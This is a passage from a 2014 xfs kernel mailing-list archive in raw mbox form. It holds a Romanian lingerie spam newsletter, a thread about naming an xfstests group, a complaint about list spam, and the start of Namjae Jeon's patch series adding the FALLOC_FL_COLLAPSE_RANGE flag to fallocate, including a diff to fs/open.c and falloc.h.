3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_FONT_SIZE_HUGE, HTML_IMAGE_RATIO_02,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4EDD07FDB for ; Tue, 18 Feb 2014 09:27:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3501D8F8040 for ; Tue, 18 Feb 2014 07:27:24 -0800 (PST) X-ASG-Debug-ID: 1392737241-04cbb00c2b5333d0001-w1Z2WR Received: from srv3.securmailoffers.com (srv3.securmailoffers.com [37.59.245.66]) by cuda.sgi.com with ESMTP id EJZYlq0hadLExZTm for ; Tue, 18 Feb 2014 07:27:21 -0800 (PST) X-Barracuda-Envelope-From: bounce@xmailsender.com X-Barracuda-Apparent-Source-IP: 37.59.245.66 Received: from xmailsender.com (127.0.0.1) by mail1.xmailsender.com id h0dtvm0001gp for ; Tue, 18 Feb 2014 16:27:53 +0100 (envelope-from ) To: linux-xfs@oss.sgi.com Subject: WOW! Zeci de modele de lenjerie super sexy doar online. Message-ID: <81a0429255859aeffb546a88cec04947@xmailsender.com> X-ASG-Orig-Subj: WOW! Zeci de modele de lenjerie super sexy doar online. Date: Sun, 16 Feb 2014 08:02:59 +0100 From: "LENJERIE S.E.X.Y. ONLINE" Reply-To: no-reply-e-5@xmailsender.com MIME-Version: 1.0 X-Mailer-LID: 28 List-Unsubscribe: X-Mailer-RecptId: 10821131 X-Mailer-SID: 113 X-Mailer-Sent-By: 2 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_8708fddcf090b18816f015022168b861" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: srv3.securmailoffers.com[37.59.245.66] X-Barracuda-Start-Time: 1392737241 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.94 X-Barracuda-Spam-Status: No, SCORE=0.94 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_FONT_SIZE_HUGE, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145247 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.39 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_8708fddcf090b18816f015022168b861 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Ati primit un email in format HTML. Deoarece programul dvs. de email nu poate citi corect acest mesaj, va rugam dati click aici: http://xmailsender.com/iem/display.php?M=10821131&C=017c73d7e0c553aefcaa52e58fbad7c3&S=113&L=28&N=94 Daca nu mai doriti si alte mesaje, dati click aici: http://xmailsender.com/iem/unsubscribe.php?M=10821131&C=017c73d7e0c553aefcaa52e58fbad7c3&L=28&N=113 --b1_8708fddcf090b18816f015022168b861 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit Costume-Baie.ro
Pentru a vizualiza varianta online a newsletter-ului, dati click AICI.
Sau UNSUBSCRIBE

12.jpg

Esti la birou? Deschide pe ascuns :)

Mailul contine lenjerie intima extrem de sexy!
Click pe poze si ajungi direct in magazin...

1.jpg
2.jpg
3.jpg
4.jpg
5.jpg
6.jpg
7.jpg
8.jpg
9.jpg
10.jpg
11.jpg



Primiti acest mesaj in urma abonarii dvs pe site-ul nostru sau printr-un site partener.

Pentru a fi sigur ca emailurile noastre ajung la tine, nu in folderul bulk/spam/junk,
te rugam sa adaugi adresa de email newsletter@xmailsender.com in address book.

Daca nu mai doriti sa primiti alte informari de acest gen va rugam dati click DEZABONARE
Atentie, dezabonarea functioneaza doar daca accesati linkul direct din mail, nu din browser!

 



--b1_8708fddcf090b18816f015022168b861-- From lczerner@redhat.com Tue Feb 18 09:38:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0B6497FDD for ; Tue, 18 Feb 2014 09:38:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D79298F8040 for ; Tue, 18 Feb 2014 07:38:24 -0800 (PST) X-ASG-Debug-ID: 1392737903-04bdf00fc0105c70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nRNU8JwglOSF6N6s for ; Tue, 18 Feb 2014 07:38:23 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1IEgDV3031346 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 09:42:14 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1IEgANZ009023 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Feb 2014 09:42:12 -0500 Date: Tue, 18 Feb 2014 15:42:10 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: "Theodore Ts'o" cc: Dave Chinner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: <20140218142305.GN26580@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140218010138.GE13997@dastard> <20140218083324.GB28666@dastard> <20140218094142.GC28666@dastard> <20140218142305.GN26580@thunk.org> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1047372552-1392734533=:2216" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392737903 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-1047372552-1392734533=:2216 Content-Type: TEXT/PLAIN; charset=utf-8 Content-Transfer-Encoding: 8BIT On Tue, 18 Feb 2014, Theodore Ts'o wrote: > Date: Tue, 18 Feb 2014 09:23:05 -0500 > From: Theodore Ts'o > To: Lukáš Czerner > Cc: Dave Chinner , linux-ext4@vger.kernel.org, > linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > fallocate > > On Tue, Feb 18, 2014 at 01:04:24PM +0100, Lukáš Czerner wrote: > > > > > Ok, so it's a "fallocate" test group, then? > > > > More like "fsx_fsstress" group, which might sound as a terrible name > > for the group but it explains it quite well. So if you do not have > > anything against that I'll call the new group "fsx_fsstress" > > How about "block_map" group? I like Dave's suggestion about naming > the group after what it is trying to test, as opposed to how it does > that testing. This is also consistent with how the other tests groups > are named in xfstests. > > However, extents are an implementation strategy, and you might just as > easily use this test to verify whether or not the punch hole > functionality for indirect block maps worked correctly. (it does not :) But I am still having trouble deciphering Al Viro code ;) > > What I think using fsx and fstress together have in common is that > it's a great way of stress testing whatever the file system uses for > creating and maintaining the translation map between (inode, logical > block) to physical block, so that's why perhaps "block_map" might be a > good test group name. To be honest "block_map" group name does not mean anything to me. - "fallocate" is not really the right name as it does much more than that - "extents" is not the right name as there is not really anything extents specific. - "fsx_fsstress" while this gives information about how it is tested it's not immediately clear what it is good for. So I do not know and frankly I do not care very much about the name of this group so if anyone has a strong opinion about the name feel free to create such group. Thanks! -Lukas > > Regards, > > - Ted > --8323328-1047372552-1392734533=:2216-- From stan@hardwarefreak.com Tue Feb 18 10:13:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6A7FD7FCC for ; Tue, 18 Feb 2014 10:13:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60649304070 for ; Tue, 18 Feb 2014 08:13:22 -0800 (PST) X-ASG-Debug-ID: 1392740001-04cb6c6de153dac0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id ntgSBNAmEIDDmm7j for ; Tue, 18 Feb 2014 08:13:21 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id D34996C0B9; Tue, 18 Feb 2014 10:13:20 -0600 (CST) Message-ID: <530386A3.1000604@hardwarefreak.com> Date: Tue, 18 Feb 2014 10:13:23 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" , Brent Bice , Russell Cattelan Subject: list spam Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: list spam Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1392740001 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Taking a look here: http://oss.sgi.com/archives/xfs/2014-02/index.html we see 5 spams archived yesterday, and 4 so far today, and many in past months. What can be done to keep these spams out of the archive? -- Stan From linkinjeon@gmail.com Tue Feb 18 10:37:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 46DFD7F5E for ; Tue, 18 Feb 2014 10:37:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4D3AAC001 for ; Tue, 18 Feb 2014 08:37:42 -0800 (PST) X-ASG-Debug-ID: 1392741458-04cbb00c2a53a590001-NocioJ Received: from mail-pa0-f48.google.com (mail-pa0-f48.google.com [209.85.220.48]) by cuda.sgi.com with ESMTP id CXytEraZhO7FVwII (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:37:39 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.48 Received: by mail-pa0-f48.google.com with SMTP id kx10so16830625pab.21 for ; Tue, 18 Feb 2014 08:37:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=9nh311e9068FUDfOkCFpv3Ptq4HAV7cyj8Dgr3voAu8=; b=PgNLQLAao6SqaKaJn4INPhYfYou5O/GKK5nTAsuppzLOcRXE3x0mCNRFsYZ0nHE7qj PCnOg6w9uKBsbDvkxZhEseT1bSYtmYjvzhfXmf2sVrU/P4SKMOMRNvdMUDywLIZOYP2r XZieXZGg0YlmGx86xT1mxya+OWgn5cFuIWvwYeiSmEMh/mm1elhdvM3S9jteOWvMNStp eBOR0SxmWNt/aKeFR9U5AFD00FELnrQ1UkrDhohiZX8XYGSV3xubqzcam1REICrsFRib VS+EC3AKcgSUXoJ2lOfFodmaACD1m0vI7PgqSBIA6lViV8xGZwufwARDa64Y5YG/bTjQ +WJg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.26.115 with SMTP id k19mr34417154pag.87.1392741458468; Tue, 18 Feb 2014 08:37:38 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id tu3sm145709107pab.1.2014.02.18.08.37.35 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:37:37 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon Subject: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Wed, 19 Feb 2014 01:37:16 +0900 X-ASG-Orig-Subj: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f48.google.com[209.85.220.48] X-Barracuda-Start-Time: 1392741459 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch series is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be an fallocate operation and not any fs specific ioctl, hence we add this functionality to fallocate. This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate and implements it for XFS and Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Namjae Jeon (10): fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfstest: shared/001: Standard collapse range tests xfstest: shared/002: Delayed allocation collapse range xfstest: shared/003: Multi collapse range tests xfstest: shared/004: Delayed allocation multi collapse xfstest: shared/005: Test multiple fallocate collapse manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate -- 1.7.11-rc0 From linkinjeon@gmail.com Tue Feb 18 10:37:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 20B377FEE for ; Tue, 18 Feb 2014 10:37:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B74BFAC002 for ; Tue, 18 Feb 2014 08:37:53 -0800 (PST) X-ASG-Debug-ID: 1392741472-04bdf00fc010c4b0001-NocioJ Received: from mail-pa0-f54.google.com (mail-pa0-f54.google.com [209.85.220.54]) by cuda.sgi.com with ESMTP id w2yynwRWcJraArR3 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:37:52 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.54 Received: by mail-pa0-f54.google.com with SMTP id fa1so17066794pad.27 for ; Tue, 18 Feb 2014 08:37:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=AkuRQTquFtc61BFe4zxf8JwT1wolEmhlujYuFNciZHM=; b=S5//WxLHfWkeTx9W7vQ/cZ9s00wR60CueXqsV7TN2R7vZeLcwgmrkx1w/yG+G32k3p /IHP+GhVOxO63mJBybeNEGUSceQey0x7R63xnq4Hyyx2rBG4IQAT6XnbZ1RpzHjhJUxF qFUJnJpcs5V8dChSHnwUYmEwOjUN+G+tuCgDQmzfC8xZf7dhqw4A7kNmkx/uTP64ise6 pIO5bG/6B0dxAxfHJG1WaqdKzK7JUrAXTvn7takNrTwpOS8uMuj/Hsh9zV6AZTj3SdyW dfimGJ3FxByqD9olHprt99BaTRgl9nFkOfm1StbqcgF/Bdkwk6KVKbM4AIrdPx38PAa9 qbeA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.247.201 with SMTP id yg9mr11175549pbc.148.1392741472029; Tue, 18 Feb 2014 08:37:52 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id eb5sm145820586pad.22.2014.02.18.08.37.48 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:37:51 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Wed, 19 Feb 2014 01:37:43 +0900 X-ASG-Orig-Subj: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f54.google.com[209.85.220.54] X-Barracuda-Start-Time: 1392741472 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be a fallocate operation and not any fs specific ioctl, hence we add this functionality to new flags of fallocate. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan Reviewed-by: Dave Chinner --- Changelog v4: - Move block size aligned check from VFS layer to FS specific layer - update comments for FALLOC_FL_COLLAPSE_RANGE in user visible header file. - separate individual checks. - collapse range don't permit to overlap the end of file. fs/open.c | 24 +++++++++++++++++++++--- include/uapi/linux/falloc.h | 21 +++++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/fs/open.c b/fs/open.c index 4b3e1ed..4a923a5 100644 --- a/fs/open.c +++ b/fs/open.c @@ -231,7 +231,8 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ @@ -239,11 +240,20 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) !(mode & FALLOC_FL_KEEP_SIZE)) return -EOPNOTSUPP; + /* Collapse range should only be used exclusively. */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (mode & ~FALLOC_FL_COLLAPSE_RANGE)) + return -EINVAL; + if (!(file->f_mode & FMODE_WRITE)) return -EBADF; - /* It's not possible punch hole on append only file */ - if (mode & FALLOC_FL_PUNCH_HOLE && IS_APPEND(inode)) + /* + * It's not possible to punch hole or perform collapse range + * on append only file + */ + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) + && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -271,6 +281,14 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* + * There is no need to overlap collapse range with EOF, in which case + * it is effectively a truncate operation + */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (offset + len >= i_size_read(inode))) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..5ff562d 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -5,5 +5,26 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +/* + * FALLOC_FL_COLLAPSE_RANGE is used to remove a range of a file + * without leaving a hole in the file. The contents of the file beyond + * the range being removed is appended to the start offset of the range + * being removed (i.e. the hole that was punched is "collapsed"), + * resulting in a file layout that looks like the range that was + * removed never existed. As such collapsing a range of a file changes + * the size of the file, reducing it by the same length of the range + * that has been removed by the operation. + * + * Different filesystems may implement different limitations on the + * granularity of the operation. Most will limit operations to + * filesystem block size boundaries, but this boundary may be larger or + * smaller depending on the filesystem and/or the configuration of the + * filesystem or file. + * + * Attempting to collapse a range that crosses the end of the file is + * considered an illegal operation - just use ftruncate(2) if you need + * to collapse a range that crosses EOF. + */ +#define FALLOC_FL_COLLAPSE_RANGE 0x08 #endif /* _UAPI_FALLOC_H_ */ -- 1.7.11-rc0 From linkinjeon@gmail.com Tue Feb 18 10:38:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 032927FF3 for ; Tue, 18 Feb 2014 10:38:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF9298F8068 for ; Tue, 18 Feb 2014 08:38:10 -0800 (PST) X-ASG-Debug-ID: 1392741485-04cb6c6de0540850001-NocioJ Received: from mail-pb0-f53.google.com (mail-pb0-f53.google.com [209.85.160.53]) by cuda.sgi.com with ESMTP id G8qrIHhL7KS4dDJu (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:38:06 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.53 Received: by mail-pb0-f53.google.com with SMTP id md12so16931789pbc.12 for ; Tue, 18 Feb 2014 08:38:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=dxDe7BCrBpPrQeYeCUzIRU7oixh3KKsUXDGUlUdpfPQ=; b=vZ0BpcOOXifwk0cDCvQaWdElIRBTH8UcQurroa2FYJU0ILBkFpk1w5ZcV3IwllihoP YoWaX1VwEPem1fzP76AlgVe/dkLHHM+l2PjTZMp8shQWoe2PLX/tYiQ/O8XzPfIrtdXS ZwvyxvGrrcwReLFUFUIqqVAueiskbuVGKut6cPNi58qWo7unHNPFkPNKQG57ax+lQ1IC pTwzQgAASN5TyEdBwP6gNbcNN5gQkS+4X/XMF7mnEgzWbKU6XSzKh1eV+mUGQHnqAv+C xt47R3TAAuInX/0iQA+KhObLQogMNhwUq3uANMjp6QRkeIqJTsrUnqmpiXAxGnQDTONM 8VKg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.141.231 with SMTP id rr7mr33499647pab.41.1392741485602; Tue, 18 Feb 2014 08:38:05 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id gj9sm8331793pbc.7.2014.02.18.08.38.01 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:38:05 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Wed, 19 Feb 2014 01:37:55 +0900 X-ASG-Orig-Subj: [PATCH v5 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1392741475-20063-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f53.google.com[209.85.160.53] X-Barracuda-Start-Time: 1392741486 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for 